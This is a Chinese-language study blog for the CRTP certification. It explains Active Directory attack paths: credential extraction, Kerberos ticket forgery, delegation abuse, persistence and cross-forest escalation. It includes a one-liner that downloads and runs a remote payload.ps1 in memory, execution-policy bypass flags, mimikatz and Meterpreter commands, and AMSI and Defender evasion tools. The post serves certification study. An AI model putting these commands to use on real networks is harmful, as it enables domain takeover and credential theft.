CRTP 學習與策略規劃
前言
CRTP(Certified Red Team Professional)是由 Altered Security 推出的紅隊證照,核心聚焦在 Active Directory 內網攻擊技術。
如果用一句話概括:
1 | CRTP 是一張專門針對 AD 攻擊路徑與權限濫用技術的證照。 |
過去的實戰經驗中,內網滲透往往是透過既有漏洞取得初始跳板,例如利用 CVE 進入主機後,直接開始橫向移動與權限提升,最終目標通常也是指向 Active Directory。
整體流程大致為:
1 | 1day CVE → Webshell → RDP → 關閉防護機制 → 工具利用 → 橫向移動 → 進入 AD |
這種打法屬於高度結果導向的實戰流程。任務能完成、目標能達成,但回頭檢視會發現,對於 AD 架構本身的設計邏輯、權限模型以及認證機制,理解多半停留在操作層,而非系統層。思考後發現,最大的差異是軍中通常是以目標導向為主,與其只依賴工具與既有手法,不如回頭把 AD 的核心知識與攻擊原理重新整理一次。最近剛好有兩位朋友對 CRTP 感興趣,提議一起準備這張證照,於是決定花時間系統化補齊這一塊。
CRTP 學習資源與流程
官方網址 :
1 | https://www.enterprisesecurity.io/ |
成功登入後,可在 Dashboard 中看到 Attacking and Defending Active Directory Lab - CRTP
主要功能區包含:
- Lab Details
- Lab Manual
- Certification Exam
- Flag Verification
- Lab Material
- How to use Discord
- FAQs
其中最核心的學習資源集中在 Lab Manual 內容涵蓋課程影片、PDF 教材與相關工具包,是整套 CRTP 的知識主體,其他區塊則偏向環境說明、考試資訊與實驗室操作輔助。

基本學習思路 :
1 | Course Videos |
整體原則為:
1 | 先建立全局架構,再透過 Lab 驗證理解,Walkthrough 僅作為輔助,而非主要學習來源。 |
學習效率優化
雙語字幕輔助流程
CRTP 課程皆為全英文解說、無中文字幕,單純硬聽其實效率不高。與其反覆倒帶,不如把問題工程化處理。因此結合 Whisper 與 ChatGPT,先將影片轉為字幕,再進行翻譯與結構化整理,建立一套雙語輔助學習流程。保留技術術語原文,同時提升理解效率。後續也會將整個流程封裝成工具,放上 GitHub,並考慮導入 CI/CD 或容器化,方便長期維護與團隊使用。
因此建立以下流程:
1 | Whisper → 產生 SRT → ChatGPT 翻譯 → 結構化整理 → 建立雙語學習素材 |
環境準備
安裝 Whisper :
1 | pip install -U openai-whisper |
執行 Whisper :
1 | Whisper |

下載 full_build.7z 並將 ffmpeg.exe 加入環境變數。
1 | https://www.gyan.dev/ffmpeg/builds/ |

批量將所有 .mp4 檔案轉成 .srt 檔案,並存放在 Course_output_en 資料夾中。
1 | for %f in (*.mp4) do whisper "%f" --model small --language English --output_dir Course_output_en --output_format srt |

轉換時間較長,後續可研究更高效處理方式。

接著透過自製工具批量翻譯字幕。
1 | https://github.com/zxc7528064/SRT-Translator |
翻譯後生成 srt_zh 檔案,並確認時間軸未發生錯位。

實際匯入後,字幕與時間同步正常,即可正式進入學習階段。

課程
Module 1
- Introduction to Active Directory and Attack Methodology
- Offensive PowerShell and .NET tradecraft
- Domain Enumeration

AD 的核心功能,它提供三大核心能力:
- Manageability(集中管理)
- Security(驗證與授權)
- Interoperability(跨系統整合)
幾乎所有 Windows Server、Client、Application、Email、Network Device 都圍繞 AD 運作。
重點:
1 | 控制 AD = 控制整個企業環境 |
理解 AD 的結構框架(mental model)
1 | Forest |
Schema 與物件屬性 : Active Directory 本質上是一個「物件導向的目錄資料庫」。
在 AD 中,所有資源都以 物件(Object) 形式存在,例如:
- User
- Computer
- Group
- Organizational Unit (OU)
- Domain Controller
- Service Account
- GPO
每個物件都包含多個 屬性(Attribute),例如:
- sAMAccountName
- userPrincipalName
- memberOf
- objectSID
- servicePrincipalName
| 攻擊類型 | 關鍵屬性 | 真正本質 |
|---|---|---|
| Kerberoasting | servicePrincipalName | 可讀 SPN + 可請求 TGS |
| SPN Abuse | servicePrincipalName | 可寫 SPN |
| Constrained Delegation | msDS-AllowedToDelegateTo | 可控制委派目標 |
| RBCD | msDS-AllowedToActOnBehalfOfOtherIdentity | 可寫 delegation ACL |
| ACL Abuse | nTSecurityDescriptor | 可改物件權限 |
重點:
1 | 多數 AD 攻擊建立在「物件 Attribute 屬性 + ACL 權限機制」之上。 |
Domain(網域):
公司內部帳號與電腦的管理範圍。
- 每個 Domain 擁有獨立的使用者、電腦與群組物件(User、Computer、Group、Service Account),儲存在該 Domain 的 AD 資料庫(NTDS.dit)中。
- Domain 由一或多台 Domain Controller(DC)維護,負責儲存 AD 資料庫(NTDS.dit)、驗證使用者身分與發放存取權限。
- 預設使用 Kerberos 作為主要驗證機制,在某些情況下(例如舊系統或 SPN 解析失敗)會回退至 NTLM。
內部通常共享:
- 身份資料庫:所有帳號與群組資訊儲存在 AD 物件中。
- 安全政策(Security Policy):密碼長度、複雜度、帳號鎖定策略等。
- 群組原則(GPO):集中套用系統設定與安全設定至電腦與使用者。
- 信任關係(Trust Relationship):允許跨 Domain 或跨 Forest 的身份驗證與資源存取。
重點:
1 | Active Directory |
Forest(森林):AD 架構的最高層級。

包含:
- 多個 Domain
- 共用同一個 Schema(所有 Domain 的資料結構都必須一致)
- 共用全域目錄(Global Catalog)
重點:
1 | AD 森林權限與信任模型 |
在 AD 內網滲透中,PowerShell 與 .NET 是最核心的攻擊載體。
- 理解 PowerShell 在 AD 攻擊中的角色
- 理解 Windows 環境的偵測面
- 理解何時應使用 PowerShell、何時應改用 .NET Binary
為什麼 PowerShell 是 AD 攻擊核心載體?
PowerShell 具備:
- 預設安裝於 Windows 系統
- 原生 .NET 支援
- PowerShell 可直接跟 AD 交互(查資料、改資料,而不需要額外工具)
- 支援記憶體執行
- 可直接調用 Windows API
在 AD 內網滲透中,幾乎所有 Enumeration 行為都可透過 PowerShell 完成:
- 列出 User / Group / Computer
- 查詢 SPN
- 查詢 ACL
- 查詢 Delegation
- 查詢 Trust
AD 模組與基本操作
載入 AD 模組:
1 | Import-Module C:\AD\Tools\ADModule-master\ActiveDirectory\ActiveDirectory.psd1 |
重點:
- 進行 Domain Enumeration
- 查詢 user / group / SPN / ACL
記憶體執行(Memory Execution)
1 | iex (New-Object Net.WebClient).DownloadString('http://www.webserver/payload.ps1') |
重點:
- 記憶體載入(fileless execution)
- 不落地執行腳本
- 減少檔案型 AV 偵測
PowerShell Detection Surface(偵測面)
理解防禦面,才能理解攻擊面。
1 | 1. System-wide transcription |
Execution Policy(執行策略)
常見參數:
- powershell -ep bypass
- powershell -c
- powershell -encodedcommand
或在當前程序中: - Set-ExecutionPolicy Bypass -Scope Process
重點:
- 它只是防止誤執行腳本
- 真正的限制來自 AMSI / CLM / AV
Tradecraft 不是工具清單,而是:
- 目標環境是否啟用 Script Block Logging?
- 是否部署 EDR?
- 是否開啟 CLM?
- 是否允許 PowerShell 遠端執行?
- 是否應改用 .NET Binary?
PowerShell 本質是 .NET。
在高監控環境中,改用:
- 直接撰寫 C# 工具
- 使用 .NET API 操作 LDAP
- 減少 PowerShell 特徵
常見策略:
- Source Code Obfuscation
- 字串混淆
- API 間接調用
- 編譯為獨立 Binary
混淆與偵測研究工具
工具的價值在於理解偵測邏輯,而非盲目繞過。
- AMSITrigger → 測試哪段程式碼觸發 AMSI
- DefenderCheck → 測試哪段內容被 Defender 標記
- Invoke-Obfuscation → PowerShell 混淆框架
- ConfuserEx → .NET 混淆工具
AD 後滲透模型流程
1 |
|
常用工具:
| 工具 | 角色 | 功能定位 |
|---|---|---|
| PowerView | 手動枚舉 | 查詢 AD 物件與 ACL |
| SharpView | 隱蔽枚舉 | C# 版 AD 枚舉工具,適用於限制 PowerShell 的環境 |
| BloodHound CE | 圖論分析 | 計算最短攻擊路徑 |
| SOAPHound | ADCS 枚舉 | ADCS 與憑證模板關係枚舉工具 |
| PowerHuntShares | 共享枚舉 | 尋找敏感檔案與憑證(GPP密碼、備份檔、設定檔) |
| RunWithRegistryNonAdmin.bat | 執行技巧 | 利用註冊表機制在低權限情境下啟動程式 |
Windows 權限判斷核心機制: Access Token 對 DACL 中 ACE 的逐條匹配過程,而 Deny 永遠優先。
驗證流程:

1 | 使用者登入 |
在 AD 中 GPO + OU Link = 批量控制行為的機制
重點: OU 與 GPO 本身也是受 ACL 控制的物件,可以被濫用的控制節點。
常見濫用權限,如果攻擊者對 OU 具有以下權限:
1 | WriteDACL |
GPO(Group Policy Object)的本質
1 | 可以套用到 OU / Domain 的設定物件。 |
可以影響:
- 電腦設定
- 使用者設定
- 安全政策
- 啟動腳本
- 登入腳本
簡單說: GPO 是批量控制系統行為的工具。
橫向權限放大流程:
1 | 取得 OU 控制權(GenericAll / WriteDACL) |
Trust 是什麼 ?
1 | Trust 是不同 Domain / Forest 之間的身份驗證信任機制。 |
若存在 Trust,代表身份驗證可以跨域流動,攻擊面可能被擴大。
Trust 分析三大維度
- Direction(方向)
- Type(類型)
- Attributes(屬性)
Trust 的方向 ≠ 存取方向

代表:左側網域會接受右側網域的身分驗證結果(Authentication)
但實際 Access 實際存取方向:右側網域的使用者 → 左側網域的資源
Direction(方向):
- One-way trust(單向)→ 只有一側可以跨域驗證
- Two-way trust(雙向)→ 兩側都可以跨域驗證

Type(類型):
- Parent-Child
- Tree-Root
- Forest
- External
Tree-Root:Forest 內的多個 Tree 不是隔離的,而是透過 Root Domain 串接,形成完整可傳遞的信任結構。

External:跨 Forest 的點對點信任,預設不具傳遞性,範圍受限。

Forest:如果某個 Forest 被攻破,而它和其他 Forest 有 Forest Trust,攻擊面可能會橫向擴散。

Attributes(屬性):
若 A 信任 B,B 信任 C,且該 trust 為 transitive,則 A 會間接信任 C。
A ↔ B ↔ C
↑________↑
自動形成信任鏈
關鍵屬性:
- 是否 Transitive(可傳遞)
- 是否啟用 SID Filtering

跨域攻擊模型:
1 | 已控制 Domain A |
Module 2
- Local Privilege Escalation
- Credential Extraction & Lateral Movement
- Domain Privilege Escalation
當取得初始立足點(Foothold)後,下一個目標通常是:
1 | 低權限使用者 |
漏洞型(Patch / Exploit):利用系統尚未修補的漏洞進行提權
如:
- 已知 Local Privilege Escalation CVE
憑證型(Credential Exposure):透過系統遺留的明文憑證進行提權。
如:
- unattended.xml(自動部署檔)
- 自動登入密碼(AutoLogon)
- Registry 中的明文憑證
- 特殊設備(kiosk / 自動化設備)的內建帳號
設定錯誤型(Misconfiguration):
如:
- 可覆寫服務 binary
- 可修改服務參數(Unquoted Service Path)
- 過度寬鬆的 Service ACL
- DLL Hijacking
- AlwaysInstallElevated 設定錯誤
由於本地提權可能性眾多,通常會搭配自動化工具進行檢查:
- PowerUp
- winPEAS
- Privesc 系列工具
- AutoLogon 檢查工具
實戰流程通常如下:
1 | Foothold |
本地特權提升的關鍵在於尋找 憑證殘留 與 系統設定錯誤 而不是單純依賴漏洞。
Feature Abuse(企業服務功能濫用)
1 | 濫用企業應用程式或服務的功能來取得更高權限。 |
為什麼企業環境容易出現,因為企業內部常存在大量系統:
- DevOps、CI/CD
- 監控系統
- 自動化服務
服務通常安全設計較弱,但卻常常以 SYSTEM / Administrator 權限運行。
典型案例:
- Jenkins
早期 Jenkins:
- 預設沒有 Authentication
- 任何人可以存取 console
- 可直接執行 command
攻擊流程:
1 | Script Console |
如果 Jenkins 服務是 SYSTEM 執行 → 直接 SYSTEM shell
Token Impersonation:是讓 Process 中的某個 Thread 暫時使用另一個使用者的 Access Token,以該使用者身份存取系統資源。
在 Windows 中:
- Process 會持有 Primary Token (預設身份)
- Thread 可以使用 Impersonation Token (暫時身份)
Access Token 代表 Windows 的 Security Context,包含:
包含:
- User SID(使用者身分)
- Group SID(所屬群組)
- Privileges(系統級權限,如 SeDebug / SeImpersonate)
- Integrity Level(完整性等級,如 Medium / High)
Access Token = 身份 + 群組 + 權限
Mimikatz 常見操作:
1 | token::elevate |
Meterpreter 常見操作:
1 | list_tokens -u |
核心概念:
1 | Access Token |
在 Windows Privilege Escalation 中,Token Impersonation 常與 SeImpersonatePrivilege 或 SeAssignPrimaryTokenPrivilege 搭配使用。
在取得 Local Administrator / SYSTEM 權限後,攻擊者通常會嘗試取得系統中的 Credential,以便進一步進行橫向移動或權限提升。
常見取得的憑證包括:
- NTLM Hash
- Kerberos Ticket
- AES Key
- Plaintext Password
LSASS - Credential 的核心來源:
Windows 身份驗證系統由 LSA (Local Security Authority) 負責,實際運作的 process 為 lsass.exe。
LSASS 負責:
- User Authentication
- Kerberos Authentication
- NTLM Authentication
- Security Policy
- Token Creation
當使用者登入系統時,憑證會被載入 LSASS memory。
常見情境:
- Local login
- RDP login
- RunAs
- Scheduled tasks
- Service login
- Remote administration
從 LSASS 記憶體中通常可以取得:
- NTLM Hash
- Kerberos Tickets
- AES Keys
- Plaintext Password
- WDigest Credentials
- SSP Credentials
常見工具:
- mimikatz
- sekurlsa
- procdump
LSASS 是 Windows 系統中 最容易被監控的 process,因此 Dump LSASS 常會觸發告警。
EDR / Defender 會監控:
- OpenProcess(lsass)
- ReadProcessMemory
- MiniDumpWriteDump
- Process Handle Access
本地帳號 hash 儲存在 registry:
- HKLM\SAM
- HKLM\SYSTEM(BootKey 用於解密 SAM)
可取得
- Local NTLM Hash
常用工具:
- reg save
- secretsdump.py
LSA Secrets 儲存在 HKLM\SECURITY 包含:
- Service account password
- Scheduled task credentials
- Cached domain credentials
Windows Data Protection API 用於加密應用程式憑證。
常見使用:
- Credential Manager
- Browser password
- Browser cookies
- Private keys
- Azure tokens
Windows Credential Manager 儲存各種登入資訊。
工具:
- vaultcmd
取得:
- RDP credentials
- Stored passwords
瀏覽器也常儲存登入資訊。
例如:
- Chrome
- Edge
- Firefox
取得:
- Saved passwords
- Cookies
- Session tokens
PowerShell command history 可能包含憑證。
路徑:
1 | %APPDATA%\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt |
整體 Credential 儲存位置可以整理為:
1 | Windows System |
實戰中通常會依據 Detection Risk 使用技術。
Low Noise:
- Registry extraction
- DPAPI
- Credential vault
- Browser credential
- PowerShell history
Medium Noise:
- SAM dump
- LSA secrets
High Noise:
- LSASS dump
- Mimikatz
成熟的 Red Team 會優先使用 Non-LSASS Credential Extraction。
例如:
- SAM
- LSA secrets
- DPAPI
- Credential vault
- Browser credentials
在取得初始立足點(Initial Foothold)後,攻擊者通常會嘗試在內網環境中進行橫向移動(Lateral Movement),以存取更多主機與資源。
在 Windows / Active Directory 環境中,橫向移動往往建立在身份驗證機制之上,例如 NTLM 與 Kerberos。一旦攻擊者取得憑證資料(Credential),例如 NTLM Hash、Kerberos Ticket 或 Access Token,即可模仿其他使用者身份並存取遠端系統。
Kerberos 基本流程:

1 | User |
如果攻擊者取得 Kerberos Ticket(TGT 或 TGS),即可將 Ticket 注入目前的 Session,藉此模仿使用者身份並存取相關服務,進而進行 Lateral Movement。
Pass-the-Hash (PtH):
攻擊者利用已取得的 NTLM Hash 進行身份驗證,而不需要知道使用者的明文密碼,直接利用該 Hash 登入其他系統。
核心概念:
1 | 取得 NTLM Hash |
效果:
- 不需要知道明文密碼
- 可以冒充使用者身份
- 可進行橫向移動(Lateral Movement)
Pass-the-Ticket (PtT):
攻擊者將已取得的 Kerberos Ticket 注入到目前 Session 中,藉此模仿該使用者身份並存取相關服務。
核心概念:
1 | 取得 Kerberos Ticket(TGT 或 TGS) |
Pass-the-Ticket = 使用已取得的 Kerberos Ticket(TGT 或 TGS) 來冒充使用者身份。
Golden Ticket:
攻擊者偽造 Kerberos TGT (Ticket Granting Ticket) 的技術,藉此取得整個 Active Directory Domain 中任意服務的存取權限。
核心概念:
1 | 取得 KRBTGT Hash |
效果:
- 可以在整個 Domain 中維持長期存取權限
- 可以偽造任何使用者身份(例如 Administrator)
- Domain Controller 會將偽造的 TGT 視為合法票證
Silver Ticket:
攻擊者利用服務帳號的 NTLM hash,自行偽造 Kerberos Service Ticket (TGS) 以冒充任意使用者存取該服務,與 Golden Ticket 不同的是 Silver Ticket 不需要與 Domain Controller (KDC) 互動。
核心概念:
1 | 取得服務帳號的 NTLM Hash |
常見服務:
| SPN | 服務 |
|---|---|
| CIFS | SMB / File Share |
| HTTP | Web Server / IIS |
| MSSQL | SQL Server |
特性:
- 不需要聯絡 DC
- 偵測難度較高
- 只影響特定服務
常見的橫向移動技術:
- PSExec
- WMI
- RDP
- SMB
- PowerShell Remoting
- WinRM
其中 PowerShell Remoting 是現代 Windows 環境常見的一種方式,運用的底層技術 WinRM (Windows Remote Management)
- 透過 PowerShell 遠端控制另一台 Windows 主機
1 | Local PowerShell |
特性:
- Windows 原生功能
- 不需要額外工具
- 在企業環境非常常見
- 適合用於 Lateral Movement
Default Ports:
1 | 5985 → HTTP |
建立遠端 session:
1 | New-PSSession |
進入遠端 shell:
1 | Enter-PSSession -ComputerName TARGET |
遠端執行指令:
1 | Invoke-Command -ComputerName TARGET -ScriptBlock { command } |
PowerShell Remoting 會留下以下痕跡:
Process:
- wsmprovhost.exe
- powershell.exe
核心重點:
- PowerShell Remoting 使用 WinRM
- WinRM 使用 5985 / 5986 port
- 成功連線會建立 wsmprovhost.exe
- 取得 Local Administrator 權限可進行 lateral movement
Kerberoasting:
是一種 Active Directory Credential Extraction 攻擊技術。
目的:取得 Service Account 密碼
條件:只需要 Domain User 權限,因為任何 Domain User 都可以請求 SPN 的 Service Ticket
核心概念:
1 | 取得 Domain User |
Kerberos Delegation 是一種 服務可以代表使用者存取其他服務的機制。

核心概念:
1 | User → Service A → Service B |
Service A 可以使用 使用者的身份 去存取其他服務。
常見應用場景:
1 | User |
主要有三種 Delegation:
- Unconstrained Delegation
- Constrained Delegation
- Resource-Based Constrained Delegation (RBCD)
其中 Unconstrained Delegation 風險最高。
Unconstrained Delegation 原理:
如果一台主機被設定為 Trusted for delegation 當使用者登入該主機時,KDC 會將使用者的 TGT (Ticket Granting Ticket) 傳給該主機,因此 User TGT 會被儲存在該服務主機上,因此該服務可以代表使用者存取其他服務。
1 | 控制 Unconstrained Delegation 主機 |
如果登入的使用者是 Domain Admin,攻擊者即可取得 Domain Admin 權限。
RBCD(Resource-Based Constrained Delegation) 是 Kerberos Delegation 的一種形式
核心概念: 由 目標主機 (Target Resource) 決定誰可以代表使用者存取自己
與傳統 Delegation 的差異:
1 | Traditional Delegation → Service 決定可以代理誰 |
主要依賴 AD 中的一個屬性 msDS-AllowedToActOnBehalfOfOtherIdentity
屬性定義 哪些帳號可以代表使用者存取該主機 如果攻擊者可以修改該屬性,就可以建立 RBCD Delegation。
RBCD 通常搭配 Kerberos S4U (Service for User) 機制:
- S4U2Self
- S4U2Proxy
流程概念:
1 | Service |
透過 S4U 機制,服務可以冒充任意使用者存取目標服務
RBCD 攻擊流程:
1 | 取得 Domain User |
在 Active Directory 環境中 Microsoft SQL Server 是常見的服務,通常作為企業系統與應用程式的資料庫後端。
常見場景包括:
- 企業內部業務系統
- Web Application Database
- ERP / CRM 系統
- 各種內部管理平台
因此在大型企業 AD 環境中,通常會存在 大量 SQL Server
在紅隊滲透測試中,SQL Server 經常被忽略,但實際上它可以提供 Lateral Movement 的機會
原因:Domain User 可能被映射到 SQL Server 的 Database Role
即使某個使用者在 AD 中沒有任何特殊權限:
- 不是 Local Admin
- 沒有 AD ACL
- 沒有高權限群組
該使用者仍然可能在 SQL Server 中具有權限。
如:
1 | db_datareader |
代表:
1 | Low Privilege Domain User |
可能成為攻擊突破點,此外,SQL Server 也可能儲存大量敏感資料,例如:
1 | Passwords |
因此 SQL Server 不只是 Lateral Movement Platform,同時也可能成為 Data Exfiltration Target。
SQL Server 具有一個重要功能: Linked Servers
Linked Server 允許一台 SQL Server 查詢另一台 SQL Server 的資料。
結構如下:
1 | SQL Server A |
在 AD 環境中分析 SQL Server 時,常見工具之一是:PowerUpSQL
攻擊者可以快速找到:
- 可存取的 SQL Server
- 具有權限的帳號
- 可利用的 Linked Servers
攻擊者可以利用 Linked Server,實現跨主機存取,進一步橫向移動。
攻擊流程:
1 | Initial Foothold |
網域層級提權(Domain Privilege Escalation)
NTLM Relaying:
一種利用 NTLM 身份驗證機制的攻擊技術,攻擊者不需要取得使用者的密碼,而是將受害者的 NTLM 身份驗證 即時轉發(relay) 到其他服務,以冒充該使用者進行存取。
核心概念:
1 | Victim authentication |
GPO Abuse(Group Policy 濫用):
如果 Group Policy Object (GPO) 的 ACL 權限設定過於寬鬆,攻擊者可以修改 GPO 設定,進而影響整個網域的電腦。
核心概念:
1 | 取得 GPO 修改權限 |
例如:
- powershell payload
- cmd execution
- 新增 admin user
GPO 會影響所有被 linked 的 OU / Domain Computer
GPOddity:
一種利用 Group Policy 與 SYSVOL 設計特性 的攻擊技術,攻擊者可以透過修改 GPO 的屬性,使 Domain Computer 從攻擊者控制的位置載入惡意 Policy。
核心概念:
1 | NTLM Relay |
在 Active Directory 環境中,Active Directory Certificate Services (AD CS) 是企業常見的 PKI(Public Key Infrastructure) 系統,用於簽發與管理憑證。
通常會利用 AD CS 來實現:
- Smart Card Login
- TLS / SSL Authentication
- Device Authentication
- Kerberos PKINIT Authentication
在紅隊實戰中,AD CS 經常成為 Privilege Escalation 與 Domain Compromise 的重要入口點
AD CS 的核心概念可以用一句話理解:
Certificate = Identity
AD CS 的基本架構如下:
1 | 憑證授權中心(Certificate Authority, CA) |
憑證並不是隨意簽發,而是透過 Certificate Template 申請。
Template 定義:
- 哪些使用者可以申請憑證
- 憑證用途
- 憑證權限
- 是否允許指定其他使用者
在企業環境中,AD CS 通常存在 配置錯誤 (Misconfiguration)
常見問題包括:
- Template 權限過寬
- 低權限使用者可申請憑證
- 允許替其他使用者申請憑證
- Template 支援 Client Authentication
如果存在這些問題,攻擊者可能:
1 | 申請高權限帳號的憑證 |
如:
1 | Domain Admin |
一旦取得憑證就可以 直接以該帳號進行身份驗證
AD CS 攻擊流程:
1 | 初始進入點(Initial Foothold) |
Module 3
- Domain Persistensce
- Cross Trust Attacks
AD 持久化攻擊技術分類
1 | AD Persistence |
在 Active Directory 攻擊流程中,許多初學者的目標往往是取得 Domain Admin 然而在成熟的紅隊攻擊模型中 Domain Admin 並不是最終目標。真正的目標是能夠 長期控制 Active Directory 攻擊者通常會建立 Domain Persistence,確保即使帳號或憑證被重置,仍然能重新取得對 AD 的控制權。
Active Directory 身份驗證核心機制是 Kerberos。
Kerberos 的基本流程如下:
1 | Client |
在 Kerberos 中,所有 Ticket 都是由一個特殊帳號簽發:KRBTGT。
如果攻擊者取得 KRBTGT Hash 就可以偽造 Kerberos Ticket 這種攻擊方式被稱為 Golden Ticket Attack。
Golden Ticket 允許攻擊者:
- 偽造任意使用者身份
- 偽造 Domain Admin 權限
- 在憑證被重置後仍然重新取得存取權
在前面的橫向移動章節中已經介紹過,攻擊者可以透過取得 KRBTGT Hash 偽造 Kerberos TGT,進而向 KDC 請求任意服務的 TGS,取得對網域資源的存取權限。
除了用於橫向移動外,Golden Ticket 最典型的 Domain Persistence 技術之一 只要攻擊者持有 KRBTGT Hash,就可以持續偽造 Kerberos Ticket,即使帳號或憑證被重置,仍然能重新取得對 Domain 的控制權。
在實際攻擊中,生成 Golden Ticket 通常需要以下資訊:
- Domain SID
- User RID
- KRBTGT Hash
攻擊者可以利用這些資訊偽造 Kerberos TGT,並冒充任意使用者,Golden Ticket 的 Ticket Lifetime 可以由攻擊者自行設定,例如:10 years
Silver Ticket 在 Active Directory 攻擊中不僅可用於 橫向移動(Lateral Movement),在某些情況下也可以作為 Persistence 技術。
由於 Silver Ticket 是攻擊者 自行偽造 Kerberos Service Ticket (TGS) 服務端只會使用自己的 Service Key 驗證票證是否合法,因此不需要與 Domain Controller (KDC) 進行驗證。
代表只要攻擊者持有 Service Account Hash 就可以在任何時候重新生成合法的 Kerberos Service Ticket (TGS)。
核心概念:
1 | Service Account Hash |
與 Golden Ticket 的差異:
| 攻擊 | 偽造 | 需要什麼 Hash | 權限範圍 | Persistence 強度 |
|---|---|---|---|---|
| Golden Ticket | TGT | KRBTGT Hash | 整個 Domain | 非常高 |
| Silver Ticket | TGS | Service Account Hash | 單一 Service | 中等 |
Silver Ticket 通常無法直接控制整個 Domain,但可以對特定服務維持長期存取權。
在 Active Directory 環境中,許多服務其實是使用 Machine Account(電腦帳號) 運行,而不是一般使用者帳號。
Machine Account 的格式通常為:
- WEB01$
- SQL01$
- DC01$
許多 Windows 服務(如 SMB、WinRM、WMI、IIS 等)在 Domain 環境中,實際上是以 Machine Account 的身分運作。
這代表如果攻擊者取得某台主機的 Machine Account Hash 就可以偽造該主機服務的 Kerberos Service Ticket。
例如:
1 | 取得 WEB01$ NTLM Hash |
因此 Machine Account Hash 也是常見的 Silver Ticket 攻擊來源。
Diamond Ticket: 並不是 偽造 Kerberos Ticket 而是修改合法的 TGT (Ticket Granting Ticket)
核心概念:
1 | 合法 Kerberos Authentication |
Domain Controller 在驗證 Ticket 時,主要檢查: Ticket 是否能用 KRBTGT key 成功解密
如果 Signature Valid Domain Controller 就會接受該 Ticket。
Golden Ticket vs Diamond Ticket
| 攻擊類型 | 偽造內容 | 需要 Hash | 權限範圍 | OPSEC |
|---|---|---|---|---|
| Golden Ticket | TGT | KRBTGT Hash | 整個 Domain | 高風險 |
| Silver Ticket | TGS | Service Hash | 單一 Service | 中等 |
| Diamond Ticket | 修改 TGT | KRBTGT Hash | 整個 Domain | 較低 |
Skeleton Key : 一種 Active Directory persistence 技術。
核心概念:
在 Domain Controller 的 LSASS (Local Security Authority Subsystem Service) process 中
注入惡意程式碼,修改 Kerberos / NTLM 的認證流程。
1 | LSASS memory patch |
DSRM 是 Active Directory 的維護與復原模式。
當 Domain Controller 安裝 Active Directory 時,系統會建立一個 DSRM Administrator 帳號,此帳號用於在 Directory Services Restore Mode 下登入並進行 AD 修復。
DSRM Administrator 本質上可以視為: 利用 Domain Controller 的本機管理帳號作為後門存取方式。
核心概念:
1 | 取得 Domain Admin 權限 |
因此即使 Domain Admin 帳號被重設、或 AD 密碼變更,攻擊者仍可透過 DSRM Administrator 重新存取 Domain Controller。
SSP(Security Support Provider)是 Windows 的 Authentication Plugin Mechanism,負責處理系統的認證流程,例如:
- NTLM
- Kerberos
- Negotiate
- Schannel
Windows 的驗證流程:
1 | User Login |
核心概念:
攻擊者透過註冊惡意 SSP DLL,使其被 LSASS 在登入時自動載入 從而攔截使用者登入憑證(Username、Password、Domain)。
1 | Domain Admin 權限 |
SSP 會註冊於以下 Registry:
1 | HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages |
當系統啟動時:
1 | LSASS |
因此攻擊者可透過 Registry 註冊惡意 Authentication Provider 建立持久化。
AdminSDHolder ACL 濫用:是一種利用 Active Directory 權限機制(ACL) 建立長期控制權的 Persistence 技術。
Active Directory 中存在一組被稱為 Protected Groups 的高權限群組。
由於這些群組擁有極高的系統權限,AD 會對其 ACL(Access Control List) 進行額外保護。
常見的 Protected Groups 包括:
- Domain Admins
- Enterprise Admins
- Administrators
- Schema Admins
- Account Operators
- Server Operators
- Backup Operators
- Print Operators
Active Directory 中存在一個特殊物件 AdminSDHolder 用於保存 Protected Groups 的 ACL 模板。
1 | CN=AdminSDHolder,CN=System,DC=domain,DC=local |
SDProp 機制:Domain Controller 會定期執行一個程序(預設行為每 60 分鐘執行一次)
其運作流程:
1 | AdminSDHolder ACL |
也就是: Protected Groups 的 ACL 會定期被 AdminSDHolder ACL 覆蓋
核心概念:
1 | 取得 Domain Admin 權限 |
利用的是 AdminSDHolder ACL Template + SDProp 同步機制。
跨 Domain / Forest 攻擊概念
當攻擊者已經取得 Domain Admin 時,下一步通常是:
- 提升到 Enterprise Admin
- 或進行 跨 Domain / Forest 攻擊
整體攻擊流程:
1 | Initial Foothold |
重點:
當攻擊者取得 Child Domain 的 Domain Admin 時,可以透過 SIDHistory 濫用 提權到 Enterprise Admin,最終控制整個 Forest
SID(Security Identifier)
Active Directory 中每個物件都有唯一的 SID。
格式:
1 | DomainSID + RID |
範例:
1 | S-1-5-21-XXXX-XXXX-XXXX-500 |
其中:
- DomainSID:Domain 的唯一識別
- RID:帳號識別(例如 500 = Administrator)
- 500 = Administrator
- 512 = Domain Admins
- 519 = Enterprise Admins
SIDHistory 是 Active Directory 的 **向後相容機制 (Backward Compatibility Mechanism)**。
用途:
當帳號從一個 Domain 移到另一個 Domain,例如:
1 | companyA.local |
使用者 SID 會改變,因此 AD 會把舊 SID 存在 SIDHistory 中。
結構:
1 | User |
在 Windows 授權時,系統會同時檢查:
1 | SID |
修改 SIDHistory:利用 Domain Admin 權限直接修改使用者物件的 SIDHistory 屬性,將高權限 SID(如 Enterprise Admin)加入。
常見工具:
- mimikatz
- PowerView
- Invoke-Mimikatz
攻擊邏輯:
1 | 取得 Domain Admin |
Golden Ticket + SIDHistory:透過偽造 Kerberos Golden Ticket,並在 Ticket 中加入高權限 SID。
範例:
1 | kerberos::golden |
攻擊邏輯:
1 | 取得 krbtgt hash |
利用 krbtgt secret 偽造 Golden Ticket,並透過在 Kerberos Ticket 中加入 ExtraSID,可以從 Child Domain Admin 提權到 Enterprise Admin,最終控制整個 Forest。
當攻擊者取得 Child Domain 的 Domain Admin 時,目標是:
- 提權到 Enterprise Admin
- 控制 Root Domain
- 最終 Forest Compromise
攻擊流程:
1 | Initial Foothold |
Golden Ticket + ExtraSID
攻擊者可以在偽造的 Kerberos TGT 中加入 ExtraSID。
加入的 SID:
1 | Enterprise Admin SID |
範例:
1 | S-1-5-21-ROOTDOMAIN-519 |
說明:
- 519 = Enterprise Admins
攻擊原理
Kerberos 驗證流程:
1 | Child Domain DC 簽發 TGT |
Root Domain 不會重新驗證 Ticket 中的 SID。
因此如果 Ticket 內包含:
1 | Enterprise Admin SID |
Root Domain 會直接授予 Enterprise Admin 權限。
Module 4
- Bypass Defenses (MDE and MDI)
- Monitoring and Detections
在現代企業環境中,傳統防毒(AV)已經無法有效偵測進階攻擊,因此許多企業開始部署 EDR(Endpoint Detection and Response) 來監控端點行為。
EDR 不僅會偵測惡意檔案,還會監控系統上的各種行為,例如:
- Process Creation
- File Operations
